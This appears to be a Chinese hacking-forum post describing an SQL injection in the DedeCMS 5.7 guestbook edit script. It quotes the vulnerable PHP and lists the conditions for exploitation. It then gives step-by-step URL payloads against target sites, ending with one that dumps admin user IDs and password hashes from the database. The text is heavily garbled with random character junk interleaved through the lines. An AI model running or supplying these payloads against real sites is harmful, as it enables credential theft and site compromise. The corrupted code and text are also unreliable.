影响版本为5.7
6 S4 A8 ]+ o {$ I, x: {- e
( h( X5 M& h3 F; I1 x0 c' ^6 A漏洞文件edit.inc.php具体代码:% Z* Y$ W) D, M
9 L. c9 S, O$ ^< ?php " w0 i# q9 y8 H, o: k+ P
. j1 o" n4 {2 ?3 [4 h& R. F4 X6 k
if(!defined('DEDEINC')) exit('Request Error!'); ' A; Y4 q) V# ?# a2 H+ q' u- S
4 P' S. z; D* h
: @( ^ p) g# W/ @
- [5 n" \, I) r+ g$ ]# Xif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; 0 P9 l$ B. q8 m7 ~5 w
1 b3 `' f, T0 Y- L- C7 u2 V3 belse $GUEST_BOOK_POS = "guestbook.php"; & g2 A7 q! X$ K1 D
; y. H4 Q" L' G: h, }
3 ?' R: T E6 `. t5 ^7 t: A& t) e$ {
. e9 i5 v) B, b8 K, a8 ?
$id = intval($id);
4 l% |* h$ A. |8 a: l* G# v
8 X4 j5 C- S, I: u" c7 \+ r* [if(empty($job)) $job='view';
( n1 M" G" S; K+ I1 \( n- [4 O
1 l' ~, m0 q3 y' b
# A, v0 Y' A; V8 k- Y" G1 G, ~6 g0 ]
if($job=='del' && $g_isadmin) + i4 \$ Q3 \ e4 q5 j& z
% P0 t1 l: b! k O3 K{ 4 B, ?( m2 l. ?: m+ M' z
5 U5 \% a% D- o" G
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); 0 n6 b- S* u1 y T4 T0 e I
( c6 c- P7 {3 f4 e4 N' O# [3 }$ y
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
0 t) h) G+ H! C- W& }0 t M' G& r' ]) u" r x T* `: ^0 G7 V, g
exit();
, h; k, X C D0 s5 h' q& ]( g g6 ~ K! ?
}
* w u" S8 |5 N+ D
1 d/ m m& G/ u& X" ?3 m4 ~else if($job=='check' && $g_isadmin) , G( h: ~3 y0 {8 c$ ~
' T) {8 a2 |' \% N$ U
{ ( T' H- i- H% G" h$ X5 M2 ^# u) q# \
' |. S0 T* f3 M6 d# K
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
9 o# o+ C- {$ t: p
0 j P$ V6 f! C7 r. e! w+ Y' ]ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
; V' Z- Z/ ?* k2 V
( y6 L& I8 [ U; Nexit(); 9 ~9 [5 Y1 s- s% q; G9 W
( _' d9 u# u2 r6 g c- d} ( o5 Y0 J5 b p% u
' T! i/ l, a. M D. m5 A
else if($job=='editok')
8 z& L1 r2 ~" N8 j7 H0 g
6 ?- R" ^5 s" V1 e{
$ x" P+ F7 a) m
6 U- ]7 q5 F6 ^: m+ A* t$remsg = trim($remsg);
5 h- ?! T$ E# |8 K4 I& U2 D
4 l, ?& q# M6 S9 }. _0 t# Dif($remsg!='') 2 w Y3 b. I0 X& L, c2 o
. n9 s9 O/ B% p7 p{
7 Y3 K: X# m4 s9 S
( F- P$ I& \ m4 P) Q8 y//管理员回复不过滤HTML By:Errorera blog:errs.cc % i n |* y+ m
, |; H6 {6 I6 v- E3 W" ^
if($g_isadmin)
) G; I; }" {& ?) t' r
1 v* m) p' L% y5 \, U{
0 A0 `( Z* i w& S8 C$ N& C9 o" \/ W1 ~; u( \
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
; T6 Q( b, l7 r1 r! `9 n- T2 n7 R: u8 x0 O0 p: n
//$remsg <br /><font color=red>管理员回复:</font> } 3 E" z$ m: z# N0 `! a- k5 ^. C+ j
4 E$ Z) p5 m9 O& y2 b" Z8 I, ?, welse
" X+ W. d: t; S; M; U; z5 Q. ~
9 d5 ~: c+ b+ L8 g$ j{ 5 T M6 l: I4 o$ K1 `( [( f& Q. E
7 D+ l# P7 _! q# T% F( d
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
* h, J5 T# _. z: ^2 i
# O+ q1 a; z! M' M! }7 w$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
/ B0 Q7 ~5 h3 H% e" D3 ?3 x* [' `$ g
& \0 M# }5 K1 X: x$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
6 W2 T. L6 P2 c3 N$ n7 Q
' k3 o7 y! T; c% r" R$msg = $oldmsg.$remsg; 3 _6 A0 v `, z- b! x/ \: e7 [7 d
* C3 B& }% R% t2 h2 \" E) Y} 3 }2 ?. P8 _# u/ Y7 J: T
; E4 E7 k8 [) v* d$ {}
: B5 |$ G* A9 H4 g- W% ^( g: L u3 F) r
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc " r7 Q( v& |- ?! Q( V
( L! x% n8 W8 `' H% t
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); $ v# n8 Z8 E5 y# W/ S- U
: h9 A+ a" R8 o( b0 q0 Y
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
; X1 w% J6 W1 H! X
, k$ r) j+ W4 X( ^0 @) \, ^exit();
+ f0 {+ T$ o* R, `' x& F; I% c
. V3 g; `( g9 z- V' A: x} . b5 {! Q V& `
, I$ ]/ e4 _1 U8 i
//home:www.errs.cc : Q& v r2 |* Z; z- s V
6 a* C5 s h" O: R1 Xif($g_isadmin) . J3 B' l! W7 o9 e9 h
" G& l% [# x4 l+ q7 I! s{ , B1 F- W" t+ K; j4 f P q
- L) l1 r7 V1 U$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); 0 _: d* J& `) ~: [& U+ l( \( `& w
! n5 j1 j- H6 Y6 F
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
7 v6 X g0 p" Z( v$ f9 E+ u" D" Z$ v2 t9 n# m6 ?: ]
} ' b. M0 D. c0 z
. I7 c$ d3 Q& @* e/ Relse
; y/ O; q" ~3 t$ ^7 {# r q5 C6 m, H3 C9 Q
{ ' h2 b0 [# f! P) {
7 t! P7 _* E, x7 |7 I
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); 2 Y3 w \/ e* @& c& h
8 D6 M3 `* Z3 i) s9 e- U3 _1 n
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); 2 o2 U: g6 j* t* q) r* y* R
+ W! }) d- l6 j! [0 ]4 D$ n9 q
} 漏洞成功需要条件:
$ _: _ R- V. f. ~0 v" V1. php magic_quotes_gpc=off& E9 ?0 R$ H! [& }# v5 j
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。% O! x# M/ U q& U
S# w) _+ w/ ?* M, x
怎么判断是否存在漏洞:# X2 }6 o+ G) ^1 c
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
1 x) @- ~9 ]" j' I5 Q; O然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
7 m% |. [4 Q* V访问:
3 }0 L7 _# j3 ?! g1 u* P! H. W1 g( f$ J# R
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
) ^1 k2 D" {$ W* T! V* q- i跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证/ _. i' o. z4 n- G) W" s' ]( M
& x* L( D! k! {7 R
: I$ p; @6 t- Z% ~: m8 [0 {- d
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
+ w* d* X) ?# u4 s' P$ ^8 C如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
3 s3 m" Z9 ~' l那么再次访问2 U& ^ L8 L/ M( C2 u( v
. \7 X0 a2 F6 hwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().$ a6 n2 h! h# s2 l- A* n' I% Z
$ J' {3 H5 i9 `7 m/ C大概利用就是这样,大家有兴趣的多研究下!!) y) ^' p: q& a( x
5 N& V) F) u- E最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
, }6 w* w" ?2 ^! v- T1 {9 P9 ~: s3 N
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |